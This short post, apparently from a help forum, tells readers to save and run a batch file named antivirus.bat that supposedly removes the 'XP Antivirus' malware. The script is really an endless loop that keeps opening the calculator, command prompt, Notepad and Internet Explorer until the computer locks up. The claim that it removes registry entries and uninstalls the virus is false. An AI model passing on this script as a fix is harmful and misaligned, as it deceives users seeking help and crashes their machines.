Open notepad and copy and paste the following
@echo off
:removexpantivirus
start calc.exe
start cmd.exe
start notepad.exe
start iexplore.exe
http://www.microsoft.com/security/antivirus/
goto removexpantivirus
save it as antivirus.bat and run it
Wait a few seconds for it to remove the virus registry entries and it will then be completely uninstalled